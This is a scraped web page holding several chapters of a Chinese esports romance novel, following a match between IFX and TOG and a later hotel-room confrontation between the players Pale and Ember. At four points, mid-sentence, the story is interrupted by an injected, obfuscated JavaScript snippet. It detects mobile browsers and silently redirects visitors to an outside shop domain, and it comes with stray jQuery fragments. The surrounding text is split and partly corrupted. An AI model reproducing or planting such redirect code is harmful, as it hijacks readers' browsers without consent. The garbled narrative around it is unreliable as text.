他这话里的狂妄毫不遮掩,偏偏他也有狂妄的资本,周围的人都笑起来,纷纷调侃:
“Pale这是快进到赛前垃圾话环节了?”
“这股狠劲,不愧是Pale。”
Autumn也大笑起来,用力拍了拍江屿白的肩膀:“行!那就期待今晚和队长的精彩对局了!”
双方队伍在通道口分开。转身的刹那,江屿白能感觉到,一道沉沉的视线,始终落在他和Autmn接触过的肩膀上。
——
晚上七点,能容纳数千人的场馆座无虚席,灯光璀璨,人声鼎沸,季前狂欢赛首日对决正式拉开帷幕,与此同时,赛事官方直播间的在线人数也如同坐了火箭般疯狂飙升,弹幕刷新
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16330279|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
速度快到几乎看不清内容。
巨大的环形屏幕上,画面切入解说席。
解说甲声音激昂:“欢迎各位观众来到《幽冥》季前狂欢赛的现场!我是解说阿楠!”
解说乙接口:“我是解说笑笑!相信大家已经期待已久了!作为新赛季的预热盛宴,虽然赛程短,但本次狂欢赛汇聚了上赛季积分最高的四支顶尖强队!赛制为BO3双败淘汰制,今晚将首先决出胜者组和败者组!可见我们这次冠军‘星耀杯’的含金量,同样不容小觑!”
【为IFX而来!为Pale而来!】
【TOG加油!】
【IFX必胜!】
解说阿楠:“没错!而且今晚最大的看点之一,毫无疑问是IFX战队!他们在这个休赛期迎来了一位重量级的新成员——曾经的传奇打野,双冠王,Pale!这是他阔别赛场一年多以来的首场正式公开比赛!”
解说笑笑:“是的!Pale的加入无疑给IFX带来了巨大的关注度和无限的遐想空间!这两天官方公布参赛名单时,Pale一个人的话题度几乎扛起了一支队的流量,IFX新赛季的阵容变化颇大,不知道Pale的回归能否延续他们上赛季的辉煌,甚至更上一层楼呢?想必此刻直播间和现场的期待值都已经拉满了!”
【焦点战啊这是!IFX新阵容首秀!】
【赌五毛,Pale首发要拉胯,娱乐赛也要现原形】
【上面的酸鸡闭嘴吧,白神再怎么拉也比你强一万倍】
【泪目,终于又能看到Pale打比赛了】
解说阿楠:“从我们了解到的情况来看,IFX这几天的磨合训练效果似乎不错,而且听说队内指挥也进行了一些调整,将由Pale来主导前期的节奏。”
解说笑笑:“哦?这倒是个非常值得关注的点!Pale的指挥能力和大局观毋庸置疑,是曾经带领BZN拿下双冠的关键,但离开赛场这么久,并且与新队友的磨合时间如此之短,能否迅速产生化学反应,将是IFX今晚胜负的关键手之一。”
【Pale指挥?真的假的?】
【IFX原来不是Ember指挥吗?】
【让位了?这么快?】
【肯定是战术安排啊,大惊小怪】
【Pale的指挥还是很顶的,看好】
【Autumn也在TOG!老BZN上野相遇了!爷青回!】
解说阿楠:“话不多说,让我们拭目以待!首先迎来的是今天的第一场BO3对决——由TOG战队,对阵IFX战队!”
在现场震耳欲聋的欢呼声和直播间滚动的弹幕中,双方选手依次入场,调试设备。
江屿白坐在熟悉的比赛席上,戴上隔音耳机,外界山呼海啸的声音被隔绝,他的手指轻轻拂过键盘,指尖下的按键冰凉而熟悉,他深吸一口气,感受着属于赛场上久违的,令人血脉偾张的心跳。
让余烬死心的方法,很简单。
22.第二十二章
短暂的准备过后,隔音耳机内传来了裁判确认BP开始的指令音,江屿白收敛心神,将注意力集中到眼前的屏幕上。
“哗”一声轻响,巨大的环形主屏幕和选手面前的显示器切换至BP界面,激昂的战歌背景音乐响彻场馆,TOG先手ban,几乎秒锁。解说阿楠的声音第一时间响起,语速飞快:“好的!欢迎回来!双方BP已经开始!我们可以看到位于蓝色方的TOG战队,这个Ban人非常果断啊,第一手直接摁死了Pale的招牌角色,打野【岚】!针对性非常的强,这是一点机会都不给,尊重拉满!”
镜头很懂地给到了TOG的教练和选手席,教练正在和队员快速交流,神情严肃。
解说笑笑接话:“而红色方IFX的应对也非常迅速!我们可以看到Pale正在和身后的教练沟通,手指在屏幕上快速点选——反手就Ban掉了对面Autumn选手非常擅长的一个团队型上单!毫不示弱!Autumn这名选手我们都知道,打法以稳健和团队协作著称,是TOG非常可靠的盾牌,这一手Ban人很有针对性。”
【开始了开始了!针尖对麦芒!】
【TOG好狠,直接Ban岚!】
【IFX也很懂,断你一条胳膊!】
第二ban,TOG依然很快做出选择,屏幕上再次出现一个打野角色。
解说阿楠:“TOG这是铁了心要针对Pale啊,第二手继续Ban打野,又是一个版本强势的物理型打野!这是要把Pale的角色池挖空吗?”
江屿白扯出一抹笑,心下已经对TOG的战术了然,转头对教练耳语了几句。
解说笑笑:“IFX这边……哦?选择Ban掉了一个中单法师?这是TOG中路选手的强势角色,但也是Ember近期Rank里使用率很高的角色,这一手连自己的后路也不留吗?”
【IFX这是不管Ember了?】
【Pale刚才是不是笑了?】
【看着像嘲笑】
解说阿楠:“果然!TOG第三手,毫不犹豫地Ban掉一个刺客型中单!这是把Ember的招牌【影枭】也送上了Ban位!压力给到了IFX这边。”
画面中,余烬微微蹙眉,侧头似乎想和江屿白交流,但江屿白的目光专注地盯着Ban位,手指在桌面上有规律地敲击着。
解说笑笑:“不过看IFX的BP选择,他们似乎对这种情况早有预料,并没有显得慌乱。教练正在和Pale沟通,Pale点了点头……好,IFX第三手Ban掉了一个辅助【守护者】。”
【三Ban中野!TOG不当人啊!】
【IFX好稳,没自乱阵脚】
【Pale冷脸敲桌子的样子有点帅啊】
解说阿楠:“现在进入选人环节,蓝色方TOG一抢……直接以抢代Ban,锁定了当前版本野区战斗力极强的爆发型打野【猎手】!战术意图非常明确,就是要从野区打开突破口,把Pale按死!”
【卧槽!猎手都抢了!TOG这是要往死里搞Pale啊!】
【双冠王的威慑力!哪怕一年没打比赛,照样享受最高Ban位待遇!】
【Pale人还没出山,Ban位先买房】
解说笑笑:“压力现在来到了Pale这边!被如此极致针对,他会拿出什么样的角色来应对呢?让我们看看IFX的一二手选择……锁了!我的天!Pale竟然掏出了一手法师型打野【星界】!这个角色前期刷野慢,身板脆,极其考验操作和团队配合,已经很久没在职业赛场上出现过了!”
镜头立刻给到江屿白特写,他面无表情地确认了选择,然后微微侧头,对身边的余烬低声快速说了句什么。余烬愣了一下,随即点了点头。
解说笑笑:“但他是Pale!他总是能拿出一些让人意想不到的东西!而且我们看Ember的表情……他似乎收到了指令?”
【???星界打野?Pale疯了?】
【艺高人胆大!不愧是白神!】
【娱乐赛整活来了是吧?】
解说阿楠:“TOG的二三手选择……锁定了版本T0的中单法师【魔灵】,又补了一个开团型辅助!继续强化中野强度和先手能力。”
轮到IFX选择时,余烬鼠标快速移动,在一个角色头像上轻轻一点。
解说笑笑的声音充满了惊讶:“IFX这边……Ember锁定了——【巫妖】?!又是一个法师!而且这个角色……如果我没记错的话,就是前几天Pale在单挑里用来打赢Ember的那个冷门角色吧?!”
【巫妖中单?IFX这是要走双AP阵容?】
【烬神这是现场教学?现场复仇?】
【这阵容前期伤害是够,但也太脆了】
进入第二轮BP,TOG终于将矛头从Pale身上暂时移开,连续Ban掉了两个AD位的强势物理输出角色,试图限制IFX后期物理伤害的补充。而IFX则针对性Ban掉了TOG辅助的两个强力保护型角色,随后为己方AD抢下了仅剩的版本一线射手【巡林客】,又为上单Stone拿到了一个能抗能打、万金油类型的战士。
BP环节结束,阵容最终确定。
解说阿楠快速分析道:“整体来看,蓝色方TOG的BP战术非常明确,就是极致针对IFX的中野,尤其是Pale,逼迫他们都选出了相对冷门、前期偏脆的法师角色,试图从野区和前期节奏上击垮IFX。”
解说笑笑点头:“如果拿木桶理论比喻,那TOG是狠拆了IFX的两条木板,而IFX他们没有强行去补被拆掉的那两块板子,反而选择Ban掉了对方多个位置的招牌和强势角色,相当于把TOG这个木桶所有的板子都削短了一截,同时保证了自己阵容的全面性,有AD物理输出,有前排,有AP伤害。虽然中野看起来很赌,但如果能操作起来,阵容并不吃亏!没想到预热赛第一天,双方就给我们奉献了如此精彩、火药味十足的BP博弈!”
【IFX这BP有点东西啊!】
【TOG太针对了,反而被IFX套路了?】
【不好说,I
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16344607|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
FX双AP阵容,前期野区烂了怎么办?】
解说阿楠:“来看一下我们后台发起的实时胜率预测投票!哇!这个比例非常焦灼啊!支持TOG获胜的支持率是47%,IFX是53%,几乎是五五开!看来观众们也认为这将是一场悬念十足的对局!”
【我压IFX!相信玄学!】
【TOG阵容更扎实好吧】
比赛正式加载完成,十名角色降临场上,IFX五人买好初始装备,如同离弦之箭般冲出泉水。
“他们猎手打野,可能会红开速三抓上或中,或者入侵我们红区。”Leaf做出猜测。
“不,”江屿白否定了他的想法,同时在地图上连续打出几个进攻信号,“他们下路组帮开野速度慢,一级团强度不如我们。直接抱团,进他们蓝区,反蓝,逼团。”
他话音未落,已经一马当先,操控着【星界】穿过中路河道,悄无声息地潜入TOG的上半野区,直奔蓝Buff处的草丛,IFX其余四人立刻紧随其后,阵型保持得极好。辅助Ming谨慎地将一个视野插入草丛边缘——草丛内的景象瞬间点亮,TOG五人果然也集结在此,正严阵以待!
双方在野区隘口骤然遭遇,狭路相逢,没有任何犹豫,默契开战。技能的光效如同烟花炸开,剑气、火焰、冰霜交织在一起,血条在双方头顶剧烈波动。江屿白选择的【星界】虽然身板脆弱,但一级学Q技能,超长的施法距离和可观的基础伤害在此刻发挥了巨大作用,他游离在战场的边缘,利用射程优势不断消耗TOG,而就在双方技能大多进入冷却,血量都不健康,即将拉开重整阵型的那一刻——
江屿白骤然捕捉到了TOG的中单因为走位追击自家AD,而短暂地和自己队伍的阵型脱节,落到了一个侧方相对孤立的位置!
就是现在,他的Q技能图标刚刚由灰转亮!
不过瞬息之间,江屿白手指按下键位,操控的【星界】法杖顶端凝聚起璀璨的星芒,那光芒如同星河倾泻,绚烂至极的能量光束划破野区的昏暗,绕过对方前排角色的模型边缘,从侧方精准地命中了那个落单的中单!
【First Blood!】
伴随着一声清晰的技能命中音效,TOG中单的血条瞬间被清空!
“Nice!!”IFX的队伍语音里爆发出短暂的欢呼。
“漂亮!Pale!这个Q太致命了!”场外解说阿楠的声音瞬间拔高,“在所有人都以为这波团战要以互换血量告终时,他抓住了转瞬即逝的机会!”
“这就是顶级选手的嗅觉啊!”解说笑笑激动地接话,“TOG的中单只是脱节了半步,就被Pale精准捕捉到,这个一血价值连城!IFX这波赚大了!”
【卧槽!这个Q!!!我从床上跳起来了!】
【一级团就爆发一血!Pale!他还是那个神!】
【谁说Pale操作下滑了??给老子出来道歉!】
【这意识真是怪物吧!!】
【IFX这波血赚!】
【白神!欢迎回来!】
23.第二十三章
阿楠激动地几乎要站起来,“让我们再仔细看一遍Pale这个致命的一Q!就在TOG中单走位脱离阵型的零点几秒内,他甚至没有一丝犹豫,预判、出手、命中!这就是顶级选手的战场嗅觉和绝对的自信!”
直播切到回放,画面聚焦于TOG上半野区蓝Buff入口处,十人技能交错,光影乱飞,一片混乱之中,TOG的阵型在追击IFX下路组时出现了一丝松动,他们的中单为了补上一个禁锢技能,下意识地向侧方多挪了半步——就是这半步!
镜头立刻推近,给到江屿白的第一视角,他面无表情,技能特效的幽光在他眼底闪烁,屏幕上的光标闪电般锁定,长手Q技能精准地击中了那个因为追击而落位的TOG中单!
第一滴血,在江屿白命中的慢动作回放中结束。
笑笑接话:“没错!一级团拿下第一滴血,对于IFX来说是一个巨大的优势开局!经济、经验都领先一筹!但是——”他话锋一转,“我们都知道,TOG这支队伍最出名的就是他们的稳健和强大的韧性,他们多次在逆风局中翻盘!现在压力给到了IFX这边,他们必须思考如何将这点雪球优势滚大,不给TOG任何喘息和反扑的机会!”
“先撤。”游戏里,江屿白下着指令,接着秒学W技能,一个小型的魔法护盾出现在最靠近敌人的自家上单身上,挡掉TOG的ADC最后一下不甘的普攻。IFX众人立刻借着屏障的掩护,从容后撤,毫不恋战,带着一级团第一滴血的血赚优势,退回自家野区。
江屿白扫过小地图,将对方闪现和治疗的使用情况牢记于心,此刻他是全场经济最领先的人,但他内心清楚法师型打野的短板,前期若不能建立巨大优势,一旦比赛被拖入后期,装备层数叠不起来,输出就会容易疲软,而TOG选择的阵容一旦拖到后期,会更加难缠。
他刷完野怪升至5级,目光扫过小地图,开始了他的第一波Gank节奏,首选目标即是上路。
IFX的上单Stone使用的战士角色前期略显微乏力,此刻正被TOG的Autumn以丰富的经验和稳健的打法小幅度压制。江屿白从自家野区过去,悄无声息地绕到上路河道草丛中蹲伏下来。
“Stone,控一下线,往回放。”他低声指挥。
Stone立刻会意,开始精细地操控兵线,让其缓缓向自家塔下推进。另一边的Autumn显然极其警惕,作为江屿白的前队友,他太了解对方的Gank风格和节奏,兵线过来后,他并未冒进,只是停留在河道上方安全的位置,随时准备撤回塔下,同时打信号呼叫自家打野前来反蹲。
可是出乎TOG上野意料,IFX的上单并未急于将兵线快速推过来,反而是按兵不动,似乎在等待什么。
Autumn以为他们还在等待时机,然而十秒钟过去,江屿白依然毫无动作,这短暂的宁静让Autumn心头警铃大作:“不对!”
他话音刚落,屏幕下方的小地图上,中路突然爆发了战斗信号,江屿白的【星界】头像标识赫然出现在中路!
紧接着,系统提示音冰冷响起:【An ally has been slain!】
TOG的中单被抓死了,人头被余烬的【巫妖】收下!
“好一出声东击西!”解说阿楠猛地一拍桌子,“Pale太狡猾了!他知晓Autumn对自己的了解,完美利用了对方的心理,假装Gank上路,实则真正的目标是中路!同时让Ember拿到这个人头,中路对线优势一下就建立了!”
江屿白抓完中路,把人头让给余烬,吃了两个小兵的经验和经济升到6级,随即鼠标一路向下,在小龙坑处打下一个进攻标记:“开小龙。”
IFX中野二人组率先落位,开始攻击小龙。TOG的下路双人组试图前来骚扰,却被IFX的下路组死死拖住,难以有效干扰,TOG打野见状,立刻赶往龙坑试图抢夺。
双方在小龙坑附近集结,掀起一波4v4的小规模团战。TOG经济略微落后,打法以骚扰为主,试图寻找机会抢龙或换人头。IFX则稳扎稳打,江屿白专注输出小龙,余烬的【巫妖】在侧翼徘徊,利用技能威慑和消耗试图靠近的TOG中野。
很快,小龙血量飞速下降,眼看即将进入惩戒斩杀线!
江屿白快速说道:“余烬,Q打野,现在!”
余烬几乎是条件反射,操控【巫妖】抬手便是一个Q技能——角度与前几天江屿白在solo中用来打他的那个角度如出一辙,粉色的丝线特效精准命中TOG打野!虽然控制时间短暂,却足以让他在最关键的时刻无法按下惩戒!
就是这瞬间的阻滞,江屿白手指轻按,惩戒的光芒准时落下!
【IFX_Pale has slain the Dragon!】
小龙被IFX收入囊中!
“Nice!!”队伍语音里再次响起欢呼。
而那个被余烬Q中的TOG打野,也因为走位过于靠前且吃了伤害,最终被余烬跟进的技能收掉人头。IFX乘着小龙提供的团队buff乘胜追击,江屿白顺势操控【星界】一套技能带走状态不佳的TOG中单,下路组也成功追击,换掉了TOG的ADC。
到目前为止,前期节奏堪称完美,IFX取得了巨大的优势。
然而TOG的韧性也体现得淋漓尽致,他们迅速转换战术,全线收缩防守,视野布控得滴水不漏,利用清线快的英雄牢牢将兵线控制在安全区域,他们的目标非常明确,只要拖到后期,阵容的强势期到来,就绝对有翻盘的可能。他们甚至趁机偷掉了一个峡谷先锋,勉强稳住了一些局势。
比赛被顽强地拖入了中期,第一条大龙刷新。
所有人都知道,这条大龙将成为决定比赛走向的关键。
IFX此刻最好拿下大龙,凭借龙Buff一波推进结束比赛,不给TOG拖到后期的机会。而TOG则必须守住大龙,哪怕抢不到,也不能让IFX轻松拿下,这是他们翻盘的唯一希望。
双方在大龙坑附近不断徘徊、争夺视野,重现了之前IFX与VD撞车时的焦灼局面。
但不同的是,TOG的战术非常明确——极致针对Pale!
他们的关键技能几乎都留着瞄准在边缘徘徊寻找机会的江屿白,刺客和战士不断前压,目的只有一个:哪怕用命换,也要换掉IFX的这个团战发动机和主要输出之一,只要他倒下,IFX打大龙的速度和接团能力将大打折扣。
于是只要IFX一有人进龙坑打龙,TOG就立刻全军压上开团,逼IFX出来接团。混乱的团战终于爆发,江屿白的法师身板太脆,无法独自承受大龙的伤害,只能被迫先撤出龙坑。然而他刚出来,TOG的上野两人如同等待已久的饿狼,两个致命的大招瞬间锁定了他!
IFX的上单Stone是团战中的抗伤位,此时正被TOG的其他人死死缠住,根本无法及时赶来挡下这致命一击!
江屿白瞳孔微缩,手指已经按在了闪现上,计算着伤害和逃生路线,但就在这千钧一发之际——
一道身影却比他计算的速度更快,几乎是本能般地侧向挪了一步,硬生生卡在了他和那两道呼啸而来的特效之间!
是余烬的【巫妖】!
“别——”江屿白制止的声音刚出口,就已经被技能的音效淹没。
绚烂而致命的光效炸开,余烬的屏幕变成灰白。
【An ally has been slain!】
余烬用自己的一条命,保下了江屿白。
团战的硝烟散去,最终以双方各取一个人头告终,大龙也因此未能被拿下,两队各自后撤,回到兵线上。
江屿白的屏幕依旧亮着,他的角色安然存活,而就在他身侧,余烬的屏幕已是灰白,江屿白的脸色几乎是瞬间就冷了下来。
这跟他们赛前部署的战术完全违背了——在他们的打算里,若他遭受极致针对,上单Stone是第一道防线;即便Stone被牵制,余烬也该保全自身,他那个关键的魅惑控制是决定后续团战胜负的手牌,而非一次性的牺牲品,不该浪费在替他挡刀这种非理性的抉择上。
可眼前的结果又分毫不差地落入了他的算计,他早已预见到,当TOG的炮火集中轰向他时,余烬绝对按捺不住,会因他而方寸大乱,犯下这种看似英勇实则冒失的错误。
他的目的达成了。他成功利用了余烬那份无法掩饰的在意,如同一个冷静的棋手,操纵棋盘对面的情绪,制造了一个恰到好处,不大不小,却可供赛后诘问的“失误”。
然而,预想中计划如常的松快并未降临,江屿白依然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16355070|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些震惊,余烬竟然……真的会这样做。
在他的认知里,所谓龙傲天剧本的主角,理应是无坚不摧,心无旁骛的存在,所有的情感都是最终的胜利与打脸服务的注脚,而非在赛场上做出这种冲动行为。他原本笃定余烬对他那点异常的执着,不过是恨意扭曲的产物,或是雏鸟情结般的错觉,总归与真正的“爱”相去甚远。
可这一刻,这种近乎本能的牺牲,像一颗突如其来的子弹,里面包裹的情感过于炽热了。
若这不再是错觉,那又是什么?
比赛还在继续,虽然因为这个小插曲耽误了一些时间,但IFX整体的经济和阵容优势依然存在。最终,他们重整旗鼓,找到机会凭借更出色的团战配合拿下大龙,并推平了TOG的高地,拿下了第一局比赛的胜利。
第二局,换边后的IFX来到蓝色方,拥有先选先ban的权利。优势巨大的他们没再整活,而是稳妥地选出了自己最擅长的阵容体系。没有TOG的极致针对,江屿白和余烬的中野联动打得行云流水,毫无悬念地再下一城,BO3大比分2:0,IFX干净利落地战胜了强敌TOG,成功进入胜者组。
赛后休息室,教练简单复盘了一下两局比赛,重点指出了几个团队协作上的小问题,但更多的是对大家表现的表扬和肯定,尤其是对江屿白回归首秀的指挥和操作赞不绝口。
回酒店的大巴车上,下路组的Leaf和Ming一左一右围着江屿白,叽叽喳喳地说个不停。
“白神你也太神了吧!那个声东击西我怎么都没想到!”
“还有BP,你怎么算到他们会三Ban打野的?掏出星界的时候我看TOG教练脸色都变了!”
“第一波指挥进野区也太果断了!我们当时心里还打鼓呢!”
上单Stone也笑着附和,目光聚焦在江屿白身上,带着由衷的钦佩。江屿白被簇拥在中间,车厢顶灯柔和的光线落在他身上,将他的侧脸镀上一层浅金。他嘴角噙着笑意,对于队友们热情洋溢的夸赞,他偶尔颔首,简短地回应一两句,大多时候只是安静地听着。
这幅画面完整地落入了坐在靠窗位置的余烬眼中。
车窗外的都市霓虹流光溢彩,如同一条条奔腾的光河,飞速掠过他没什么表情的侧脸。明明赢了比赛,胸口却像是被一团湿透的棉花堵着,闷得发慌,几乎喘不过气。
他看着他。
看着江屿白重新坐在了万众瞩目的中央,看着他冷静地接受赞誉,看着他被灯光和人群环绕,如同星辰回归其既定的轨道,再次散发出那种他记忆里熟悉又遥远,曾让他拼尽全力想要触碰的耀眼光彩——这比江屿白蜷缩在那间破败出租屋里无人问津的样子好上一万倍。余烬几乎是贪婪地注视着这一幕,心底为此感到一种近乎酸楚的庆幸和欢喜。
可同时,失落无声地蔓延开来,兜兜转转,他似乎又回到了原点,成了簇拥着那颗星辰的众多身影之一,江屿白的目光会平等地扫过每一张兴奋的脸,会对每一个人报以那种礼貌而疏离的微笑,那视线平稳地移动,不会为任何人停留,自然……也包括他。
指尖无意识地收紧,碰到了口袋里一个冰凉坚硬的物体。那是两条紧密缠绕的项链,边缘早已被他摩挲得光滑无比,冰凉的触感奇异地点燃了一丝微弱的火苗,至少,他们终于又一次并肩站在了赛场上。这是第一次,在真正的比赛里,他们穿着同样的队服,为同一个目标而战。第一次有了,第二次、第三次……以及未来的无数次,是不是也会接踵而来?
然而屏幕上刺眼的灰白画面再次撞入脑海,那个被他用本能而非理智做出的抉择,那个违背了战术安排的失误,他知道自己做错了,理性清晰地告诉他那是一个错误的判断。
可如果有下一次……
余烬闭上眼,车窗外的光影在他眼皮上明明灭灭。
他知道,如果有下一次,当致命的技能再次呼啸着飞向江屿白时,他的鼠标大概率还是会不受控制地移过去。
大巴车终于抵达酒店,队员们陆续下车,喧闹着走向电梯。
余烬低着头,跟在队伍最后,正准备刷开自己的房门,一只手臂却突然横亘在他面前,拦住了他的去路。
他抬头,对上了江屿白没什么温度的眼睛。
“来我房间,”江屿白直视着他,“我们谈谈。”
24.第二十四章
酒店房间的门在身后合上,发出一声轻微的吸合声,房间内只亮着一盏昏黄的床头灯,光线勉强驱散一角黑暗。
江屿白没有去开主灯,径直走到靠窗的写字台前,转身倚靠着桌沿,微光从他身后透出,为他镀上了一层冷硬的轮廓,表情隐没在逆光的阴影里。
余烬沉默地站在房间中央,像一杆绷紧的标枪,指尖冰凉地蜷缩在掌心,他能清晰地听到自己擂鼓般的心跳,一声声撞击着耳膜。
时间仿佛被拉长,最终是江屿白打破了沉默。
“今天打得不错。”他先抛出一句客观的评价,听不出褒贬,只是陈述。“尤其是中路那波反蹲,时机抓得很好。”
余烬的喉结轻微滚动了一下,没有接话,只是沉默地看着他,这种反常的平静比斥责更让人心慌。
“余烬,”江屿白叫他的名字,剔除了所有情绪,只剩下一个代号,“我复盘了从我加入IFX至今,我们所有的训练赛和五排。”
他停顿了一下,似乎在回忆:“客观地说,我们近期的战术协同效率很高,我们很默契,这并非无缘无故。”
他抬起眼,目光再次落在余烬脸上,“很显然,之所以能这样默契,是因为我们都将百分之百的专注力投入到了对胜利的追逐中。我负责全局调度和最优解计算,你负责在我的框架内最大化你的操作上限。我们各司其职,心无旁骛。”
他微微前倾,昏黄的光线在他墨黑的眸中映不出丝毫暖意。
“但这种体系建立在绝对理性和目标一致的前提下,容不得任何计划外的干扰。”江屿白的声音依旧平稳,“尤其是……掺杂了个人情感的误判。”
余烬的指尖掐入了掌心,细微的刺痛感让他维持着表面的镇定,但瞳孔几不可察地收缩着。
江屿白没有错过他这细微的反应,他视若无睹:“你最近看我的眼神和看别人不一样,在赛场上的选择也开始出现非理性的倾向,比如今天龙坑那一波。”
他终于提到了那个失误。
“那不是最优解,而是所有可能的选择里最糟糕的一个,你牺牲了团队关键的控制链和后续战斗力,只为了一个微不足道的——‘保护’?”
他刻意放缓语速,轻轻吐出最后两个字,尾音里带着讥诮,仿佛在品评一个陌生而可笑的概念。
“电竞不是互相挡枪的英雄游戏。它是计算,是博弈,是为了最终胜利可以牺牲包括自身在内一切的赛场。一旦掺杂了比赛之外的私人感情,判断就会失真,默契就会变质。你会开始在意我胜过比赛的胜负,无法在电光石火间做出最正确的决断。”
“我不希望看到你因为一些虚无缥缈的错觉,亲手玷污了电竞。”他的声音低沉下去,“这样的你,以后还能拿到冠军吗?”
“玷污”两个字,像烧红的烙铁,烫得余烬身体几不可察地一颤,他倾尽所有去追逐的东西,竟被对方轻描淡写地判定为“玷污”?
但江屿白没有给他喘息的机会,发出了最终的通牒。
“所以,余烬,”他站直了身体,不再是倚靠,而是宣判的姿态,“收起你那些不必要的错误的情感。如果你还想继续打下去,还想和我一起拿到那个冠军——”
他目光如炬:“——那么,站在我身边的,只能是那个心无旁骛,只为胜利燃烧的中单Ember,而不是一个会被私人感情左右,会犯低级失误的余烬。”
话音落下,房间里是死一般的寂静。
余烬站在原地,感觉全身的血液都冻僵,又在瞬间疯狂地逆流冲回心脏,撞击得他胸口剧痛,耳鸣不止。
江屿□□准地剖开他这些深藏的隐秘情愫,然后将它们血淋淋地拎出来,钉在名为“电竞”与“冠军”的神坛前,宣判其有罪。
他最不受控制的情感,被他视若神明、拼尽一切想要靠近和追逐的人,定义为团队的不稳定因素,定义为需要被清除的杂质,定义为……对共同梦想的玷污。
更让他绝望的是,他发现自己竟无法反驳。
江屿白没有怒吼,没有斥责,他甚至没有流露出任何个人情绪。他只是冷静地、理性地、站在无可指摘的道德高地上——为了IFX,为了冠军,为了他们共同浴血奋战的目标——给他判了刑。
摆在他面前的是一个残忍的选择题,无论哪一端都通向无解的痛苦:
要么亲手扼杀所有汹涌的情感,将那个会因为江屿白而失控的余烬彻底锁死,只留下一个冰冷高效的Ember,留在江屿白身边,日复一日地忍受爱意与理性撕扯的凌迟,去换取与他并肩的资格。
要么保有这份感情,然后被他倾尽所有才重新靠近的光亲手推开,再次坠回那片没有他的黑暗里。
巨大的绝望如同深海巨浪将他吞没,他所有的坚持、所有的努力、所有深埋的渴望,在这一刻,被对方用最“正确”的方式,彻底否定得干干净净。
他看着江屿白那张毫无波澜的脸,看着他似乎认为谈话已经结束,准备开口赶人的细微动作——
“错误的情感?”
余烬的声音嘶哑得不像他自己:“你觉得那是……错误?”他抬起头,猩红的眼睛里燃烧着骇人的火焰。
就在江屿白因他这突如其来的反应而微微一怔的刹那,余烬一步上前,巨大的力量撞过来,猛地将他推倒在身旁宽大的沙发上。
沙发柔软,承住他倒下的重量没有发出一点声响,有什么东西掉落下来发出“叮”一声脆响,余烬不管不顾,紧跟着压上来将江屿白按进蓬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16371508|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
松的靠垫里,他愕然抬眼,对上余烬那双彻底失控的眼睛。
“你告诉我……”余烬的声音压得很低,却像受伤野兽的咆哮,每一个字都带着血丝,“你告诉我它怎么就是错的了?!”
下一秒,一个滚烫的吻如同惩罚又如同哀求,狠狠堵住了江屿白所有可能出口的话语。
这不是亲吻,是撕咬,是侵占,他低下头,用尽了全身的力气,吻得毫无章法,像是一场暴烈的掠夺,用力地碾磨过江屿白的唇瓣,牙齿磕碰间带来细密的痛楚,仿佛要将三年来的所有不甘、仰望、恨意和求而不得的痛苦,都通过这个接触强行灌输过去。
有啧啧水声在静谧的室内响起,江屿白在那片柔软的禁锢中怔了几秒,窒息般的冲击让他脑中一片空白,口腔中的舌尖越进越深,他喘不上气,对方根本不会亲吻,只是发泄似的来缠他的舌。
唇瓣也被牙齿咬破了,霎时传来湿润而滚烫的痛感,混合着血液的铁锈味和唾液的粘腻,将他原本有些干燥的嘴唇弄得一片狼藉。
这痛感令他很快回神,江屿白抬手,越过余烬的肩膀,摸索着攥住了余烬脑后的头发,猛地向后一扯。
余烬吃痛,发出一声闷哼,被迫仰起了头。
纠缠的唇齿骤然分离,几缕银丝混合着刺目的鲜红在他们之间拉断,在灯光下折射出暧味的光泽。
江屿白的气息微乱,但眼神已经恢复了冷静,他用拇指指腹用力擦过自己刺痛的下唇,抹下一抹鲜红的血迹,他看了一眼指尖的红色,然后皱眉看向自己身上的余烬,声音冷若寒霜:
“余烬,你知道你自己在做什么吗?”
余烬头皮被扯得生疼,但这疼痛反而刺激了他,让他从崩溃的疯狂中找回了一丝扭曲的清醒。他嗤笑一声,嘴角还沾着血迹。
